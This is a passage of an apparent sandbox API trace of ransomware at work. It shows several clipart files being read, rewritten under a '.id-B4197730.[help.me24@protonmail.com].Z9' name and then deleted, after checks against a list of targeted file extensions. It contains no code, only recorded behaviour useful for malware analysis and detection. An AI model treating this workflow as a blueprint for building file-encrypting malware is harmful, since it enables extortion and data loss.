	[0094.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.959] lstrlenW (lpString=".pdf") returned 4
	[0094.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.959] lstrlenW (lpString=".xls") returned 4
	[0094.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.960] lstrlenW (lpString=".xlsx") returned 5
	[0094.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.960] lstrlenW (lpString=".ppt") returned 4
	[0094.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.960] lstrlenW (lpString=".zip") returned 4
	[0094.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.960] lstrlenW (lpString=".rar") returned 4
	[0094.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.960] lstrlenW (lpString=".bz2") returned 4
	[0094.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.960] lstrlenW (lpString=".7z") returned 3
	[0094.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.960] lstrlenW (lpString=".dbf") returned 4
	[0094.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.960] lstrlenW (lpString=".1cd") returned 4
	[0094.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0094.960] lstrlenW (lpString=".jpg") returned 4
	[0094.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.960] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.960] lstrlenW (lpString="HH01329_.WMF") returned 12
	[0094.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.961] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=6016) returned 1
	[0094.961] CloseHandle (hObject=0x378) returned 1
	[0094.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220
	[0094.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.961] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.961] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.962] GetLastError () returned 0x0
	[0094.962] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1780, lpOverlapped=0x0) returned 1
	[0094.963] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1790, lpOverlapped=0x0) returned 1
	[0094.966] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.966] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.967] SetEndOfFile (hFile=0x364) returned 1
	[0094.967] CloseHandle (hObject=0x364) returned 1
	[0094.967] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.967] SetEndOfFile (hFile=0x378) returned 1
	[0094.968] CloseHandle (hObject=0x378) returned 1
	[0094.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1
	[0094.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.968] lstrlenW (lpString=".doc") returned 4
	[0094.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.968] lstrlenW (lpString=".docx") returned 5
	[0094.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.968] lstrlenW (lpString=".pdf") returned 4
	[0094.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.968] lstrlenW (lpString=".xls") returned 4
	[0094.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.968] lstrlenW (lpString=".xlsx") returned 5
	[0094.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.968] lstrlenW (lpString=".ppt") returned 4
	[0094.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.969] lstrlenW (lpString=".zip") returned 4
	[0094.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.969] lstrlenW (lpString=".rar") returned 4
	[0094.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.969] lstrlenW (lpString=".bz2") returned 4
	[0094.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.969] lstrlenW (lpString=".7z") returned 3
	[0094.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.969] lstrlenW (lpString=".dbf") returned 4
	[0094.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.969] lstrlenW (lpString=".1cd") returned 4
	[0094.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.969] lstrlenW (lpString=".jpg") returned 4
	[0094.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.969] lstrlenW (lpString=".doc") returned 4
	[0094.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.969] lstrlenW (lpString=".docx") returned 5
	[0094.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.969] lstrlenW (lpString=".pdf") returned 4
	[0094.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.969] lstrlenW (lpString=".xls") returned 4
	[0094.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.969] lstrlenW (lpString=".xlsx") returned 5
	[0094.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.969] lstrlenW (lpString=".ppt") returned 4
	[0094.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.969] lstrlenW (lpString=".zip") returned 4
	[0094.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.969] lstrlenW (lpString=".rar") returned 4
	[0094.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.970] lstrlenW (lpString=".bz2") returned 4
	[0094.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.970] lstrlenW (lpString=".7z") returned 3
	[0094.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.970] lstrlenW (lpString=".dbf") returned 4
	[0094.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.970] lstrlenW (lpString=".1cd") returned 4
	[0094.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0094.970] lstrlenW (lpString=".jpg") returned 4
	[0094.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.970] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.970] lstrlenW (lpString="HH01461_.WMF") returned 12
	[0094.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.970] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5958) returned 1
	[0094.970] CloseHandle (hObject=0x378) returned 1
	[0094.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220
	[0094.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.971] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.971] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.971] GetLastError () returned 0x0
	[0094.971] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1746, lpOverlapped=0x0) returned 1
	[0094.973] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1750, lpOverlapped=0x0) returned 1
	[0094.973] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.974] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.974] SetEndOfFile (hFile=0x364) returned 1
	[0094.974] CloseHandle (hObject=0x364) returned 1
	[0094.974] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.974] SetEndOfFile (hFile=0x378) returned 1
	[0094.975] CloseHandle (hObject=0x378) returned 1
	[0094.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1
	[0094.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.975] lstrlenW (lpString=".doc") returned 4
	[0094.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.975] lstrlenW (lpString=".docx") returned 5
	[0094.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.975] lstrlenW (lpString=".pdf") returned 4
	[0094.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.975] lstrlenW (lpString=".xls") returned 4
	[0094.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.975] lstrlenW (lpString=".xlsx") returned 5
	[0094.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.976] lstrlenW (lpString=".ppt") returned 4
	[0094.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.976] lstrlenW (lpString=".zip") returned 4
	[0094.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.976] lstrlenW (lpString=".rar") returned 4
	[0094.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.976] lstrlenW (lpString=".bz2") returned 4
	[0094.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.976] lstrlenW (lpString=".7z") returned 3
	[0094.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.976] lstrlenW (lpString=".dbf") returned 4
	[0094.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.976] lstrlenW (lpString=".1cd") returned 4
	[0094.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.976] lstrlenW (lpString=".jpg") returned 4
	[0094.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.976] lstrlenW (lpString=".doc") returned 4
	[0094.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.976] lstrlenW (lpString=".docx") returned 5
	[0094.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.976] lstrlenW (lpString=".pdf") returned 4
	[0094.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.976] lstrlenW (lpString=".xls") returned 4
	[0094.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.976] lstrlenW (lpString=".xlsx") returned 5
	[0094.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.976] lstrlenW (lpString=".ppt") returned 4
	[0094.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.977] lstrlenW (lpString=".zip") returned 4
	[0094.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.977] lstrlenW (lpString=".rar") returned 4
	[0094.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.977] lstrlenW (lpString=".bz2") returned 4
	[0094.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.977] lstrlenW (lpString=".7z") returned 3
	[0094.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.977] lstrlenW (lpString=".dbf") returned 4
	[0094.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.977] lstrlenW (lpString=".1cd") returned 4
	[0094.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0094.977] lstrlenW (lpString=".jpg") returned 4
	[0094.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.977] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.977] lstrlenW (lpString="HH01618_.WMF") returned 12
	[0094.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.977] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=7296) returned 1
	[0094.977] CloseHandle (hObject=0x378) returned 1
	[0094.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220
	[0094.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.978] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.978] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.978] GetLastError () returned 0x0
	[0094.978] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1c80, lpOverlapped=0x0) returned 1
	[0094.980] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1c90, lpOverlapped=0x0) returned 1
	[0094.981] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.981] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.981] SetEndOfFile (hFile=0x364) returned 1
	[0094.981] CloseHandle (hObject=0x364) returned 1
	[0094.981] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.981] SetEndOfFile (hFile=0x378) returned 1
	[0094.982] CloseHandle (hObject=0x378) returned 1
	[0094.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1
	[0094.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.982] lstrlenW (lpString=".doc") returned 4
	[0094.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.982] lstrlenW (lpString=".docx") returned 5
	[0094.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.982] lstrlenW (lpString=".pdf") returned 4
	[0094.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.982] lstrlenW (lpString=".xls") returned 4
	[0094.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.982] lstrlenW (lpString=".xlsx") returned 5
	[0094.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.983] lstrlenW (lpString=".ppt") returned 4
	[0094.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.983] lstrlenW (lpString=".zip") returned 4
	[0094.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.983] lstrlenW (lpString=".rar") returned 4
	[0094.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.983] lstrlenW (lpString=".bz2") returned 4
	[0094.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.983] lstrlenW (lpString=".7z") returned 3
	[0094.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.983] lstrlenW (lpString=".dbf") returned 4
	[0094.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.983] lstrlenW (lpString=".1cd") returned 4
	[0094.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.983] lstrlenW (lpString=".jpg") returned 4
	[0094.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.983] lstrlenW (lpString=".doc") returned 4
	[0094.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
